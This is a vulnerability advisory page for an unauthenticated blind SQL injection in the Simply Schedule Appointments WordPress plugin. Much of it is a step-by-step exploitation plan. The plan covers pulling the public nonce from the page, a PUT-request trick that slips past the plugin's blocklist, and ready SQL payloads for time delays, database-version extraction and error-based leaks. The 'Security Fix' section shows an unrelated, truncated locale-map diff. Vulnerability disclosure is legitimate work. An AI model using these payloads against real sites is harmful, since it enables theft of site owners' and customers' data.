Appointment Booking Calendar <= 1.6.11.8 - Unauthenticated SQL Injection via 'append_where_sql' Parameter
Description
The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'append_where_sql' parameter in all versions up to, and including, 1.6.11.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The /appointments/bulk REST endpoint is reachable by unauthenticated attackers because its permission check accepts a public nonce that is embedded in the booking widget's frontend JavaScript (ssa.api.public_nonce) and visible to all site visitors; exploitation requires issuing the request as a PUT with an application/x-www-form-urlencoded body so that PHP's superglobals are not populated and the blocklist check silently passes.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.6.11.8What Changed in the Fix
Changes introduced in v1.6.11.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-7797 ## 1. Vulnerability Summary **CVE-2026-7797** is an unauthenticated time-based blind SQL Injection vulnerability in the **Simply Schedule Appointments (slug: simply-schedule-appointments)** plugin for WordPress. The vulnerability exists in the handling of…
Show full research plan
Exploitation Research Plan: CVE-2026-7797
1. Vulnerability Summary
CVE-2026-7797 is an unauthenticated time-based blind SQL Injection vulnerability in the Simply Schedule Appointments (slug: simply-schedule-appointments) plugin for WordPress. The vulnerability exists in the handling of the append_where_sql parameter within the /appointments/bulk REST API endpoint. Due to insufficient escaping and a lack of preparation on the resulting SQL query, an attacker can append arbitrary SQL commands. Furthermore, the endpoint is protected by a "public nonce" meant for the booking widget, which is exposed to all visitors, and can be reached unauthenticated. A specific bypass involving the PUT method and application/x-www-form-urlencoded content type allows the request to evade typical security blocklists that monitor PHP superglobals.
2. Attack Vector Analysis
- Target Endpoint:
/wp-json/ssa/v1/appointments/bulk(Namespace:ssa/v1, Route:/appointments/bulk). - HTTP Method:
PUT. - Authentication: Unauthenticated (requires a valid public nonce).
- Vulnerable Parameter:
append_where_sql. - Content-Type Required:
application/x-www-form-urlencoded. - Preconditions: The plugin must be active. A public nonce must be retrieved from the frontend.
3. Code Flow
- Entry Point: The REST API request is received at the
/appointments/bulkendpoint. The route is likely registered in an internal REST controller (e.g.,SSA_Appointments_REST_Controller, inferred). - Permission Check: The
permission_callbackfor this route checks theX-WP-Nonceheader or anonceparameter. It incorrectly validates against a nonce generated for the public booking widget (action:ssa_api, inferred based onssa.api.public_nonce). - Bypass Mechanism: By using
PUTwithapplication/x-www-form-urlencoded, the payloadappend_where_sqlis not populated into the PHP$_POSTsuperglobal. If a security filter (like a WAF or the plugin's own blocklist check) only inspects$_GET/$_POST, it will see nothing, while the WordPress REST API parses the body and provides the parameter to the controller. - Data Handling: The controller passes the request parameters to the underlying model (
SSA_Appointment_Model). - SQL Sink: The parameters are eventually processed in
SSA_Db_Model::query()(inferred parent ofSSA_Appointment_Model). Theappend_where_sqlstring is concatenated directly onto a$wpdb->query()or$wpdb->get_results()call without being passed through$wpdb->prepare().
4. Nonce Acquisition Strategy
The nonce is localized for the frontend booking widget. It is typically found in the global JavaScript object ssa.
- Shortcode Identification: The plugin uses the shortcode
[ssa_booking]to render the calendar. - Setup: Create a test page containing this shortcode to ensure the scripts are enqueued.
- Extraction:
- Navigate to the page with the
[ssa_booking]shortcode. - Use
browser_evalto extract the public nonce. - JavaScript Path:
window.ssa?.api?.public_nonce
- Navigate to the page with the
5. Exploitation Strategy
The goal is to trigger a time-based response to confirm SQL injection.
Step 1: Extract Nonce
Use the browser_navigate and browser_eval tools to visit the page with the booking shortcode and retrieve window.ssa.api.public_nonce.
Step 2: Perform Time-Based Injection
Construct a PUT request to the bulk appointments endpoint.
- URL:
http://localhost:8080/wp-json/ssa/v1/appointments/bulk - Method:
PUT - Headers:
Content-Type: application/x-www-form-urlencodedX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Step 3: Verify Extraction (Data Exfiltration)
To exfiltrate the database version:
append_where_sql=AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)
6. Test Data Setup
- Install Plugin: Ensure
simply-schedule-appointments(<= 1.6.11.8) is installed. - Create Appointment Type: The plugin might require at least one appointment type to exist for the underlying query to execute properly.
wp ssa create_appointment_type --title="Consultation"(inferred CLI command, otherwise use UI).
- Create Public Page:
wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[ssa_booking]'
7. Expected Results
- Control Request: A request with
append_where_sql=AND 1=1should return almost immediately (HTTP 200/400/404 depending on records found). - Attack Request: A request with
append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)should result in a response delay of approximately 5 seconds.
8. Verification Steps
After the HTTP request, verify the plugin's vulnerability status:
- Check Version:
wp plugin get simply-schedule-appointments --field=version - Monitor Database: If possible, check the MySQL general log to see the malformed query being executed:
SELECT ... FROM wp_ssa_appointments WHERE ... AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
9. Alternative Approaches
- Method Variation: If
PUTfails, tryPOSTwith the headerX-HTTP-Method-Override: PUT. - Parameter Variation: If
append_where_sqlis filtered, check if other parameters likeorder_byorgroup_by(inferred) are similarly vulnerable within the bulk endpoint. - Error-Based: If
WP_DEBUGis enabled, try inducing a syntax error to see if$wpdb->last_erroris reflected in the REST response:append_where_sql=AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,version(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
Summary
The Simply Schedule Appointments plugin for WordPress is vulnerable to unauthenticated time-based blind SQL injection via the 'append_where_sql' parameter in the /appointments/bulk REST API endpoint. Attackers can exploit this by using a public nonce exposed in the booking widget to bypass permission checks and using a PUT request to evade security filters that only inspect standard PHP superglobals.
Security Fix
@@ -1,2 +1,2 @@ -(function(){var e={46700:function(e,t,i){var a={"./af":63906,"./af.js":63906,"./ar":40902,"./ar-dz":3853,"./ar-dz.js":3853,"./ar-kw":20299,"./ar-kw.js":20299,"./ar-ly":96825,"./ar-ly.js":96825,"./ar-ma":66379,"./ar-ma.js":66379,"./ar-sa":87700,"./ar-sa.js":87700,"./ar-tn":2059,"./ar-tn.js":2059,"./ar.js":40902,"./az":76043,"./az.js":76043,"./be":7936,"./be.js":7936,"./bg":34078,"./bg.js":34078,"./bm":14014,"./bm.js":14014,"./bn":29554,"./bn-bd":17114,"./bn-bd.js":17114,"./bn.js":29554,"./bo":6529,"./bo.js":6529,"./br":65437,"./br.js":65437,"./bs":19647,"./bs.js":19647,"./ca":59951,"./ca.js":59951,"./cs":26113,"./cs.js":26113,"./cv":37965,"./cv.js":37965,"./cy":35858,"./cy.js":35858,"./da":33515,"./da.js":33515,"./de":62831,"./de-at":6263,"./de-at.js":6263,"./de-ch":51127,"./de-ch.js":51127,"./de.js":62831,"./dv":4510,"./dv.js":4510,"./el":68616,"./el.js":68616,"./en-au":24595,"./en-au.js":24595,"./en-ca":73545,"./en-ca.js":73545,"./en-gb":79609,"./en-gb.js":79609,"./en-ie":43727,"./en-ie.js":43727,"./en-il":93302,"./en-il.js":93302,"./en-in":46305,"./en-in.js":46305,"./en-nz":39128,"./en-nz.js":39128,"./en-sg":84569,"./en-sg.js":84569,"./eo":50650,"./eo.js":50650,"./es":26358,"./es-do":64214,"./es-do.js":64214,"./es-mx":38639,"./es-mx.js":38639,"./es-us":30232,"./es-us.js":30232,"./es.js":26358,"./et":47279,"./et.js":47279,"./eu":15515,"./eu.js":15515,"./fa":27981,"./fa.js":27981,"./fi":37090,"./fi.js":37090,"./fil":79208,"./fil.js":79208,"./fo":2799,"./fo.js":2799,"./fr":23463,"./fr-ca":2213,"./fr-ca.js":2213,"./fr-ch":52848,"./fr-ch.js":52848,"./fr.js":23463,"./fy":41468,"./fy.js":41468,"./ga":88163,"./ga.js":88163,"./gd":2898,"./gd.js":2898,"./gl":76312,"./gl.js":76312,"./gom-deva":20682,"./gom-deva.js":20682,"./gom-latn":49178,"./gom-latn.js":49178,"./gu":31400,"./gu.js":31400,"./he":52795,"./he.js":52795,"./hi":17009,"./hi.js":17009,"./hr":46506,"./hr.js":46506,"./hu":69565,"./hu.js":69565,"./hy-am":93864,"./hy-am.js":93864,"./id":5626,"./id.js":5626,"./is":36649,"./is.js":36649,"./it":90151,"./it-ch":95348,"./it-ch.js":95348,"./it.js":90151,"./ja":79830,"./ja.js":79830,"./jv":33751,"./jv.js":33751,"./ka":63365,"./ka.js":63365,"./kk":85980,"./kk.js":85980,"./km":99571,"./km.js":99571,"./kn":25880,"./kn.js":25880,"./ko":16809,"./ko.js":16809,"./ku":96773,"./ku.js":96773,"./ky":65505,"./ky.js":65505,"./lb":50553,"./lb.js":50553,"./lo":51237,"./lo.js":51237,"./lt":91563,"./lt.js":91563,"./lv":61057,"./lv.js":61057,"./me":96495,"./me.js":96495,"./mi":83096,"./mi.js":83096,"./mk":43874,"./mk.js":43874,"./ml":46055,"./ml.js":46055,"./mn":87747,"./mn.js":87747,"./mr":17113,"./mr.js":17113,"./ms":8687,"./ms-my":7948,"./ms-my.js":7948,"./ms.js":8687,"./mt":14532,"./mt.js":14532,"./my":4655,"./my.js":4655,"./nb":56961,"./nb.js":56961,"./ne":2512,"./ne.js":2512,"./nl":48448,"./nl-be":72936,"./nl-be.js":72936,"./nl.js":48448,"./nn":49031,"./nn.js":49031,"./oc-lnc":5174,"./oc-lnc.js":5174,"./pa-in":30118,"./pa-in.js":30118,"./pl":93448,"./pl.js":93448,"./pt":33518,"./pt-br":62447,"./pt-br.js":62447,"./pt.js":33518,"./ro":70817,"./ro.js":70817,"./ru":10262,"./ru.js":10262,"./sd":58990,"./sd.js":58990,"./se":43842,"./se.js":43842,"./si":37711,"./si.js":37711,"./sk":80756,"./sk.js":80756,"./sl":3772,"./sl.js":3772,"./sq":6187,"./sq.js":6187,"./sr":40732,"./sr-cyrl":75713,"./sr-cyrl.js":75713,"./sr.js":40732,"./ss":99455,"./ss.js":99455,"./sv":69770,"./sv.js":69770,"./sw":80959,"./sw.js":80959,"./ta":36459,"./ta.js":36459,"./te":25302,"./te.js":25302,"./tet":67975,"./tet.js":67975,"./tg":71294,"./tg.js":71294,"./th":2385,"./th.js":2385,"./tk":24613,"./tk.js":24613,"./tl-ph":58668,"./tl-ph.js":58668,"./tlh":58190,"./tlh.js":58190,"./tr":74506,"./tr.js":74506,"./tzl":63440,"./tzl.js":63440,"./tzm":69852,"./tzm-latn":42350,"./tzm-latn.js":42350,"./tzm.js":69852,"./ug-cn":70730,"./ug-cn.js":70730,"./uk":40099,"./uk.js":40099,"./ur":72100,"./ur.js":72100,"./uz":96002,"./uz-latn":26322,"./uz-latn.js":26322,"./uz.js":96002,"./vi":14207,"./vi.js":14207,"./x-pseudo":24674,"./x-pseudo.js":24674,"./yo":10570,"./yo.js":10570,"./zh-cn":73644,"./zh-cn.js":73644,"./zh-hk":22591,"./zh-hk.js":22591,"./zh-mo":89503,"./zh-mo.js":89503,"./zh-tw":88080,"./zh-tw.js":88080};function o(e){var t=r(e);return i(t)}function r(e){if(!i.o(a,e)){var t=new Error("Cannot find module '"+e+"'");throw t.code="MODULE_NOT_FOUND",t}return a[e]}o.keys=function(){return Object.keys(a)},o.resolve=r,e.exports=o,o.id=46700} ... (truncated)
Exploit Outline
1. Navigate to any page on the target site containing the Simply Schedule Appointments booking shortcode ([ssa_booking]). 2. Extract the public nonce from the global JavaScript object: 'window.ssa.api.public_nonce'. 3. Issue a PUT request to the REST API endpoint '/wp-json/ssa/v1/appointments/bulk'. 4. Set the 'Content-Type' header to 'application/x-www-form-urlencoded' to bypass superglobal-based blocklists. 5. Include the 'X-WP-Nonce' header with the value of the extracted public nonce. 6. Provide the SQL injection payload in the 'append_where_sql' parameter within the request body (e.g., 'AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'). 7. Use time delays in the response to verify the vulnerability and exfiltrate database content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.